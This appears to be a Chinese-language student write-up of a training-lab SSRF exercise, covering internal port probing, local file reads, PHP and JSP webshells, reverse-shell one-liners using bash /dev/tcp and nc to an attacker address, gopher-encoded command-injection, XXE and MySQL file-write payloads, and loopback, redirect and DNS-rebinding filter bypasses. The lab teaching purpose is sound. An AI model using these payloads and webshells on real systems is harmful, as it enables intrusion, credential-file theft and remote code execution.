ssrf-vuls

首先来看下本次靶场的设计拓扑图:

image-20250714211044627

先理清一下攻击流程,172.72.23.21 这个服务器的 Web 80 端口存在 SSRF 漏洞,并且 80 端口映射到了公网的 8080,此时攻击者通过这个 8080 端口可以借助 SSRF 漏洞发起对 172 目标内网的探测和攻击。

本场景基本上覆盖了 SSRF 常见的攻击场景,实际上 SSRF 还可以攻击 FTP、Zabbix、Memcached 等应用,由于时间和精力有限,先挖个坑,以后有机会的话再补充完善这套 SSRF 攻击场景的。

这里我用的是橙子科技的一个已经搭好的靶场!

在此感谢

Hello, SSRF!重庆橙子科技ssrf靶场

判断ssrf是否存在

能够对外发起网络请求的地方,就可能存在 SSRF。首先先看下站点功能

获取外网url。测试一下

1
http://www.baidu.com/robots.txt

image-20250714212929859

测试成功,接着尝试一下能不能探测到内网,虽然看不到东西,但是下面可以看出来,是可以探测到的开放了80端口

网站请求了 127.0.0.1 的 80 端口,这个应该返回的是我们现在所在的这个界面的

image-20250714213953274

已经确定这个界面存在ssrf漏洞了

SSRF 获取本地信息

配合file协议来,文件读取,读取本地的文件信息,首先尝试使用file伪协议

1
file:///etc/passwd

image-20250714214606563

成功读取到了本地的文件信息,现在来尝试获取存在ssrf漏洞的本主机的内网ip地址

先来看看这个文件/ect/hosts

1
file:///etc/hosts

image-20250714214831204

image-20250715153220610

/etc/hosts 显示
容器主机名 6c989908ce81 绑定了两个IP:

  • 172.251.251.2(Docker网络1)
  • 172.250.250.2(Docker网络2)

权限高的情况下还可以尝试读取 /proc/net/arp 或者 /etc/network/interfaces 来判断当前机器的网络情况

image-20250715153710656

通过这两个文件的分析,得出

/proc/net/arp 补充

  • eth0 接口:通信对象为 172.251.251.1(网关)和 172.251.251.251(某服务)。
  • eth1 接口:与 172.250.250.14 通信。

172.251.251.2/24-ssrf探测内网端口

SSRF 常配合 DICT 协议探测内网端口开放情况,但不是所有的端口都可以被探测,一般只能探测出一些带 TCP 回显的端口,具体可以探测哪些端口需要大家自己动手去测试一下,BP 下使用迭代器模式爆破,设置好要爆破的 IP 和 端口即可批量探测出端口开放的信息:

image-20250715155623790

image-20250715155633822

1
2
3
172.251.251.2  -80
172.251.251.3 -80
172.251.251.4 -80

image-20250715155938714

这也太慢了——换一些经常使用的端口来测试把

1. Web服务端口

端口 协议 服务 常见漏洞
80 TCP HTTP 注入攻击、目录遍历、未授权访问
443 TCP HTTPS 心脏出血(Heartbleed)、证书伪造
8080 TCP HTTP代理/备用Web 管理界面暴露、默认密码
8443 TCP HTTPS备用 同443,但常被忽略

2. 数据库端口

端口 协议 服务 常见漏洞
3306 TCP MySQL 弱密码、SQL注入、权限提升
5432 TCP PostgreSQL CVE-2019-9193(命令执行)
27017 TCP MongoDB 未授权访问、数据泄露
1433 TCP MS SQL 暴力破解、xp_cmdshell滥用

3. 远程管理端口

端口 协议 服务 常见漏洞
22 TCP SSH 暴力破解、密钥泄露
3389 TCP RDP BlueKeep漏洞、凭证喷射
5900 TCP VNC 弱密码、未加密通信
23 TCP Telnet 明文传输、默认凭证

4. 文件传输与共享

端口 协议 服务 常见漏洞
21 TCP FTP 匿名登录、暴力破解
2049 TCP NFS 未授权挂载、权限配置错误
445 TCP SMB 永恒之蓝(EternalBlue)、嗅探

5. 邮件服务端口

端口 协议 服务 常见漏洞
25 TCP SMTP 开放转发、垃圾邮件
110 TCP POP3 明文凭证、暴力破解
143 TCP IMAP 同POP3
993 TCP IMAPS 配置错误导致降级攻击

6. 其他高风险端口

端口 协议 服务 常见漏洞
6379 TCP Redis 未授权访问、数据泄露
9200 TCP Elasticsearch 未授权API操作、数据泄露
11211 TCP Memcached DDoS放大攻击(UDP)
161 UDP SNMP 默认团体名、信息泄露

image-20250715160956246

1
2
3
172.251.251.2  -80
172.251.251.3 -80
172.251.251.4 -80

image-20250715161434921

还是只探测出来了这个三个

简单来看一下其中一个,这是一个helloword的界面

image-20250715170620522

172.250.250.2/24-ssrf探测内网端口

image-20250715161811646

1
2
3
4
5
172.250.250.2--80
172.250.250.3--80
172.250.250.4--80
172.250.250.5--80
172.250.250.6--80

172.250.250.4代码注入

172.250.250.4远程代码执行

172.250.250.4–80,总感觉这个肯定能利用上的,远程代码执行

image-20250715170741877

看国光师傅的博客这个应该有一个shell.php的和phpinfo.php

image-20250715171608713

一个经典的 system 一句话木马:

image-20250715171220752

没有任何过滤,直接打

image-20250715171842732

1
2
3
4
5
flag
index.php
name.php
phpinfo.php
shell.php

image-20250715172819415

看了学长的博客发现这个空格不能有,用${IFS}这个内部字段分隔符来代替空格

image-20250715200033962

还是太菜了,这点我都没有想到。

值得注意的是,这里空格需要进行二次URL编码,因为是服务器帮你请求,如果仅进行一次编码的话(主要还是Burp这里会进行一次解码),服务器请求的URL便会是: http://xxx/shell.php?cmd=cat /flag,产生了截断,所以会请求失败。

所以我们要在bp里面进行二次url编码。这里还是有问题的,flag没有出,不过我们也算是学到了点东西

image-20250717104742994

直接访问也有回显

image-20250715172959107

1
flag{a8ebc494c479c9f03fc353b3ba81040d}

虽然拿到flag了,但是实际环境中我们不会知道目录下是什么文件名

实战中往往还需要进行目录扫描,下面会提一下

SSRF 之目录扫描

如果想要利用 SSRF 漏洞对内网 Web 资产进行目录扫描的话,使用传统的 dirsearch 等工具就不是很方便了,国光在这种场景下使用的是 Burpsuite 抓包,然后导入字典(就是一些常见文件名,文件路径)批量遍历路径参数

我还没有字典,这里就先告一段落啦。但是整体思路框架要有的

image-20250715173836550

172.250.250.5 - 命令执行

国光:本版块属于上帝视角,主要作用是给读者朋友们展示一下应用本身正常的功能点情况,这样后面直接使用 SSRF 来攻击的话,思路就会更加清晰明了。

是一个经典的命令执行,通过 POST 方式攻击者可以随意利用 Linux 命令拼接符 ip 参数,从而导致任意命令执行:

image-20250717103147411

1
http://172.250.250.5

这里参数是‘ip’,随便输入一个东西抓个包就能看到

image-20250717103313567

可以看到post传参ip

image-20250717103502150

但是这里是不能直接利用的,这个接口只能发送httpget请求,post请求是不能发的

image-20250715193743174

直接这样是没用的(通过抓包可以看到这个参数是ip–post传参),这里只能传get请求

😒😒😒😒看国光师傅的wp没太懂

172.250.250.4反弹shell

学长让我别的地方拿到shell,然后在curl

我们现在想怎么去拿到一台shell,这样便于在内网的移动。

想到我们之前拿下的第一台主机172.250.250.4

就从这个下手吧

使用whereis命令去确定目标支持的反弹方法

1
http://172.250.250.4/shell.php?cmd=whereis${IFS}nc${IFS}bash${IFS}python${IFS}php${IFS}exec${IFS}lua${IFS}perl${IFS}ruby

image-20250716102247082

1
2
nc:
bash: /bin/bash /etc/bash.bashrc /usr/share/man/man1/bash.1.gz

看到可以用bash反弹反弹到我们的公网ip上,试了两种,都弹不上,还是算了

img

1
bash${IFS}-i${IFS}>&${IFS}/dev/tcp/ip/22390${IFS}0>&1
1
nc${IFS}-e${IFS}/bin/bash${IFS}ip${IFS}22390

不知道为什么弹不上。

172.250.250.5-gopher协议传post请求命令执行

上面反弹shell弹不上,就该想想其他办法了

还记得我们要解决什么问题吗?

想通过url传post参数,那我们要怎么办呢?还记得我们之前学过的gopher协议吗,它是一个强大的协议,他可以传递tcp流,我们还通过它传http请求。那传个post请求自然是没问题的了

先回忆一下gopher协议

1
2
3
4
5
6
gopher协议的转换规则如下:(我们后面会通过python脚本来自动化生成payload)
将原始TCP协议数据(如HTTP请求、Redis命令等)转换为符合Gopher
URL格式的特殊编码形式 如
果第一个字符是>或者<那么丢弃该行字符串,表示请求和返回的时间。
如果前3个字符是+OK 那么丢弃该行字符串,表示返回的字符串。
问号(?)需要转码为URL编码,也就是%3f 将\r字符串替换成%0d%0a

我们先来构造http请求把,向172.250.250.5发起post请求

1
http://172.250.250.5

image-20250717160124311

构造http请求包(用最短有效请求包就可以)

1
2
3
4
5
6
POST / HTTP/1.1
Host: 172.250.250.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 21

ip=127.0.0.1;whoami

python代码直接转成gopher协议格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import urllib.parse

payload = \
"""POST / HTTP/1.1
Host: 172.250.250.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 21

ip=127.0.0.1;whoami
"""
# 注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A', '%0D%0A')
result = 'gopher://172.250.250.5:80/' + '_' + new
print(result)

payload

1
gopher://172.250.250.5:80/_POST%20/%20HTTP/1.1%0D%0AHost%3A%20172.250.250.5%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2021%0D%0A%0D%0Aip%3D127.0.0.1%3Bwhoami%0D%0A%20%20%20%20

image-20250717162157728

这个只ping了,并没有执行我们的命令,我经过测试发现

这个后面要加上分号,最后,才能执行我们的whoami!!!这个协议比较特殊,需要严格遵守它的格式。 或许是命令注入的终止符规则 和 服务器端解析逻辑 的特殊性,我们还是多多测试,才能达到我们想要的效果啦!

image-20250717163551781

最终payload

1
gopher://172.250.250.5:80/_POST%20/%20HTTP/1.1%0D%0AHost%3A%20172.250.250.5%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2021%0D%0A%0D%0Aip%3D127.0.0.1%3Bwhoami%3B%0D%0A%20%20%20%20

image-20250717163815849

172.250.250.6-xxe

这个也需要在上帝视角去搞。这里直接说吧,存在xxe注入。

本场景是一个基础的 XXE 外部实体注入场景,登录的时候用户提交的 XML 数据,且服务器后端对 XML 数据解析并将结果输出,所以可以构造一个 XXE 读取本地的敏感信息:

我们仍然是利用gopher伪协议发送构造的post请求

image-20250717171341270

看一下源代码,有很多好东西,这些都是,提交表单为xml,提交到doLogin.php

code=0 失败

code=1 成功

contenttype类型

image-20250719174857044

攻击代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?xml version="1.0" encoding="UTF-8"?>  
<!-- XML标准声明头,定义版本1.0和UTF-8编码 -->

<!DOCTYPE user [
<!-- 定义名为user的文档类型(DTD)开始 -->

<!ENTITY xxe SYSTEM "file:///etc/hosts" >]>
<!-- ^ 恶意实体定义:
1. 声明一个名为xxe的外部实体
2. SYSTEM关键字表示加载外部资源
3. "file://"协议尝试读取服务器本地的/etc/hosts文件
4. 文件内容将被注入到xxe实体位置 -->

<user>
<!-- XML文档根元素开始 -->

<username>&xxe;</username>
<!-- 实际攻击点:
1. &xxe;会触发实体替换
2. 试图将/etc/hosts文件内容显示在username节点 -->

<password>admin</password>
<!-- 普通密码字段(用于迷惑正常请求) -->

</user>
<!-- XML文档结束 -->

攻击代码,仍然是利用gopher协议向172.250.250.6主机发送post请求

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE user [
<!ENTITY xxe SYSTEM "file:///etc/hosts" >]>
<user>
<username>&xxe;</username>
<password>admin</password>
</user>

还是抓一个包,只利用请求头的这四字段就可以,还是最短有效的http请求数据包

1
2
3
4
5
6
7
8
9
10
11
12
POST /doLogin.php HTTP/1.1
Host: 172.250.250.6:80
Content-Type:application/xml;charset=utf-8
Content-Length:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE user [
<!ENTITY xxe SYSTEM "file:///etc/hosts" >]>
<user>
<username>&xxe;</username>
<password>admin</password>
</user>

拿到paylaod直接打,这个是直接在浏览器上发送的,如果在bp上还得手动url编码一下

image-20250718095834674

1
gopher://172.250.250.6:80/_POST%20/doLogin.php%20HTTP/1.1%0D%0AHost%3A%20172.250.250.6%3A80%0D%0AContent-Type%3A%20application/xml%3Bcharset%3Dutf-8%0D%0AContent-Length%3A%20202%0D%0A%0D%0A%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%20%20%0D%0A%3C%21DOCTYPE%20user%20%5B%20%20%0D%0A%20%20%20%20%3C%21ENTITY%20xxe%20SYSTEM%20%22file%3A///etc/hosts%22%20%3E%5D%3E%0D%0A%20%20%20%20%3Cuser%3E%0D%0A%20%20%20%20%3Cusername%3E%26xxe%3B%3C/username%3E%20%20%20%20%0D%0A%20%20%20%20%3Cpassword%3Eadmin%3C/password%3E%0D%0A%20%20%20%20%3C/user%3E%20%20%0D%0A%20%20%20%20

ok拿下了

image-20250718095253259

我还测试了一下把我们手动构造的http请求直接在bp里面url全编码两次,也是可以的(不用ptthon脚本也是可以的)。

我看到别的师傅都是直接把整个http请求包(除了压缩字段)二次url全编码然后放上去了,不知道是我构造的http请求包有问题还是怎么,我的就是不行。所以我就干脆把我构造的最短有效长的请求包放上去了。没想到也成功了。

image-20250718100429036

绕过方式

环回地址绕过

确认目标,但是不能直接用127.0.0.1

image-20250718102056266

就要用到回环地址转换了

1
http://017700000001/flag.php

http://127.0.0.1/flag.php

http://017700000001/flag.php #八进制

http://0x7F000001/flag.php #十六进制

http://2130706433/flag.php #十进制

重定向绕过

302重定向绕过是指一种安全漏洞,通常出现在Web应用程序中,可以被恶意用户利用来绕过预期的访问控制或执行非授权的操作。这种漏洞的本质在于应用程序对302状态码的处理不当,导致攻击者可以通过重定向来引导用户到他们控制的恶意网站或执行其他未授权的操作。

重定向绕过分为两种:

开放重定向漏洞(Open Redirect):在这种情况下,应用程序允许用户控制重定向的目标URL,但没有进行足够的验证和过滤。攻击者可以构造一个特殊的URL,将用户重定向到恶意站点,从而进行钓鱼攻击或窃取用户信息。

闭合重定向漏洞(Closed Redirect):虽然应用程序限制了重定向的目标URL,但攻击者可以利用不同的方式绕过此限制。例如,通过在URL中添加参数或混合使用URL编码和解码来绕过输入验证。

以这个题做一个演示

1
http://127.0.0.1/flag.php

image-20250719094422597

image-20250719095417679

对要访问的IP地址(进行了过滤,只要访问服务器的IP是127.0.0.1或者一眼内网IP,直接过滤掉,导致无法访问)

重定向绕过的原理:

image-20250719095633276

就是一个攻击者要拥有一个公网web服务器,在上面写一段代码,然后302重定向到127.0.0.1,其实就是我们直接在输入框中输入公网服务器的url(本来是要请求公网web服务器的界面的),这时公网服务器存在302重定向,又重定向到ssrf服务器,最终把ssrf服务器的请求到界面返回给攻击者,实现内网信息泄露

主播是个小白,学到这里的时候还没有公网服务器,也不会搭公网服务器,所以就去看了文章,在这里也分享一下吧

使用花生壳+phpstudy实现302重定向

软件:贝锐花生壳+phpstudy

贝锐花生壳内网穿透功能,点击添加映射

image-20250719100919599

我们使用http服务,将内网的一个端口映射到公网,这个端口号可以填88,后面要用

image-20250719101505268

phpstudy,开启nginx服务

image-20250719101534852

点击创建网站

image-20250719101607882

创建网站的时候这里一定要填之前我们选择映射的内网端口号

image-20250719101702774

完成创建之后基本的操作已经做好啦,现在搭建内网的网站已经能在公网上访问了,通过公网域名。这就一台公网web服务器,当访问公网域名时,返回的就是内网88端口的w创建的eb网页吗,是不是很奇妙,大一学到的计算机网络原理的知识也是用到了

好的好的,废话不多说,接着往下

我们点击管理网站–》打开网站根目录,在里面创建一个index.php的文件,内容为

1
2
3
<?php
header('Location: http://127.0.0.1/flag.php');
//直接重定向到ssrf内网服务器的flag.php

最后一步:我们直接在这输入给我们的公网域名,就完美实现302重定向绕过啦

image-20250719102808501

DNS重绑定绕过

现在针对SSRF攻击的主流防御手段通常为:

1.解析目标URL,获取其Host
2.解析Host,获取Host指向的IP地址
3.检查IP地址是否为内网地址
4.请求URL
5.如果有跳转,拿出跳转URL,执行1

可以有效限制:直接访问内网IP;302跳转;xip.io/xip.name 及短链接变换等URL变形;畸形URL;iframe攻击;IP进制转换

image-20250719172702155

针对这种防御可以使用DNS Rebinding Attack(DNS重绑定攻击)

image-20250719172604496

其实就是服务器进行两次DNS解析同一域名的间隔期间,(如果间隔期间比较长,而且有缓存,会有失败的概率)利用这个空档直接更换IP,从而进行对WAF的绕过

DNS重绑定网站生成:rbndr.us dns rebinding service (cmpxchg8b.com)

image-20250719173212330

这里如果一次不成功要换公网ip多试几次(因为这个是有偶然性的)

image-20250719173556550

利用ssrf对mysql进行未授权访问

本地mysql没有密码的时候可以利用gopher为协议对mysql进行攻击

image-20250721093106078

利用Gopherus工具对mysql进行攻击

下载完成之后开始使用

1
2
3
cd Gopherus
ls
python2.7 gopherus.py --exploit mysql

输入用户名(一般是root)

输入想构造的sql命令(我这查询了当前所在库名)

image-20250721100145064

还是一样的有用dict探测开放ip端口

1
dict://172.250.250.8:3306

image-20250721101832684

发现这个内网主机开放mysql服务(一般是3306端口)

1
172.250.250.8:3306

把构造的paylaod放进去,把ip换一下就ok(这里就完成了基本操作)

这个靶机稍稍有点问题,回显不出来。不过没事,学会了就行

image-20250721102012501

使用ssrf对mysql未授权文件写入

前提:一台主机开放了mysql服务同时也开放wb服务

第一步:查看写入权限

image-20250721103028198

1
2
root
show variables like '%secure%';

可以通过mysql写入文件

image-20250721103337632

image-20250721103327875

第二步:写入一句话木马

写入文件的那个路径要看搭建网站的服务器是什么,这里路径就是用/var/www/html做演示

image-20250721104415931

1
2
root
select "<?php system($_GET['cmd']);?>" into outfile '/var/www/html/cmd.php';

最终paylaod

1
gopher://172.250.250.8:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%53%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%73%79%73%74%65%6d%28%24%5f%47%45%54%5b%27%63%6d%64%27%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%6d%79%73%71%6c%2f%63%6d%64%2e%70%68%70%27%3b%01%00%00%00%01

由于这个靶机有点问题,这里就不做演示了

使用ssrf对tomcat文件写入

image-20250721145548048

开放了8080端口大概率是tomcat

image-20250721105606242

要利用文件上传jsp文件呢,要构造put请求包,所以先来认识一下put请求的固定请求头

image-20250721105914802

jsp的一句话木马

image-20250721110001469

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<%
String command = request.getParameter("cmd"); // 获取用户输入的cmd参数(如 ?cmd=id)
if(command != null) { // 如果cmd参数存在
java.io.InputStream in = Runtime.getRuntime().exec(command).getInputStream(); // 执行命令并获取输出流
int a = -1;
byte[] b = new byte[2048]; // 缓冲区存储命令输出

out.print("<pre>"); // HTML <pre> 标签(保留格式输出)
while((a = in.read(b)) != -1) { // 读取命令输出
out.println(new String(b)); // 打印到网页
}
out.print("</pre>");
} else {
out.print("format: xxx.jsp?cmd=Command"); // 如果没有cmd参数,提示用法
}
%>

最后构造完整的put请求包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
PUT /1.jsp/ HTTP/1.1
Host: 172.250.250.7:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 386

<%
String command = request.getParameter("cmd");
if(command != null) {
java.io.InputStream in = Runtime.getRuntime().exec(command).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a = in.read(b)) != -1) {
out.println(new String(b));
}
out.print("</pre>");
} else {
out.print("format: xxx.jsp?cmd=Command");
}
%>

image-20250721144929301

访问一下看看是否成功,已经成功写进去jsp木马了

image-20250721145156478

image-20250721145247022

这里随便测试一下就ok

1
http://172.250.250.7:8080/1.jsp?cmd=ls

image-20250721145309576

参考:

手把手带你用 SSRF 打穿内网 | 国光

https://blog.foreverwl.top/archives/1731159746837

B站橙子科技SSRF课程

还有redis攻击没有学,再放放把。

未授权redis漏洞利用

对方有网站我们可以采用这个方法

image-20250728164253645